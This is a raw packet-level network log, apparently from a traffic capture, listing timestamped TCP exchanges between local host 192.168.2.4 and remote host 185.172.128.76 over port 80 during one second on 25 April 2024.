Apr 25, 2024 14:42:10.745805979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745820045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745843887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745851994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745856047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745874882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745901108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745914936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745919943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745932102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745949984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745956898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745966911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745984077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745987892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746026993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746057987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746074915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746098042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746108055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746119976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746160030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746195078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746237040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746416092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746434927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746459961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746469021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746484041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746531010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746562958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746581078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746608019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746622086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746640921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746685028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746696949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746732950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746737957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746767044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746773005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746804953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746822119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746861935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.746907949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.746954918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.750428915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.750446081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.750480890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.750513077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.750526905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.750546932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.750566959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.750581980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.750629902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.750647068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.750667095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.750684023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.784796000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.784830093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.784849882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.784868002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.784986973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.784986973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.784986973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794065952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794090033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794135094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794150114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794156075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794193029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794204950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794239044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794253111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794265032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794277906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794282913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794300079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794325113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794377089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794392109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794425011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794446945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794459105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794471025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794490099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794498920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794514894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794540882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794547081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794586897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794642925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794656992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794667959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794687033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794704914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794713974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794883966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794897079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794920921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794938087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794945955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.794962883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.794989109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795012951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795026064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795053959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795068979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795412064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795461893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795466900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795509100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795547009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795588017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795658112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795706034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795761108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795806885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795813084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795852900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795892000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795933008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.795943975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.795990944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.796605110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.796619892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.796658039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797039032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797086000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797120094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797133923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797148943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797151089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797178984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797193050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797252893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797291994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797341108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797384977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797422886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797488928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797492981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797502041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797528982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797543049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797554970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797595978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.797676086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.797719955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798113108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798156023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798211098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798254967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798293114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798336983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798362970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798408031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798434019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798446894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798459053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798476934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798501968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798501968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798516035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798578978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798616886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798629999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798665047 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798707008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798747063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798773050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798816919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798855066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798868895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798897982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798913002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.798935890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.798979044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799005985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799026966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799058914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799072981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799112082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799150944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799153090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799166918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799180031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799192905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799206018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799222946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799223900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799264908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799321890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799336910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799348116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799365997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799381971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799391985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799407005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799432039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799453974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799475908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799562931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799566984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799602032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799674988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799731016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799772024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799823046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799825907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.799865961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.799993038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.800039053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.800038099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.800081015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.800108910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.800122023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.800148964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.800162077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.800163031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.800209045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.800232887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.800275087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.800571918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.800612926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802299023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802311897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802330017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802345037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802350998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802386045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802392006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802406073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802433968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802438021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802462101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802478075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802494049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802503109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802505970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802520990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802552938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802644968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802659035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802685976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802686930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802697897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802712917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802730083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802743912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802769899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802789927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802812099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802817106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802829027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802856922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802870989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802879095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802912951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802918911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802941084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802953005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.802953959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802979946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.802994013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803025961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803062916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803086996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803101063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803129911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803144932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803169012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803183079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803210020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803224087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803246975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803258896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803280115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803286076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803301096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803318024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803323030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803340912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803363085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803364038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803375959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803402901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803432941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803446054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803458929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803473949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803484917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803493023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803507090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803518057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803533077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803558111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803591013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803616047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803631067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803653002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803656101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803695917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803714037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803754091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803766966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803780079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803807020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803822041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803844929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803886890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803895950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803934097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.803952932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803965092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.803994894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804009914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804022074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.804061890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804075956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.804131985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804137945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.804150105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.804162025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.804178953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804189920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804198980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.804205894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804239035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804250002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.804261923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.804291010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.804306984 CEST	49731	80	192.168.2.4	185.172.128.76
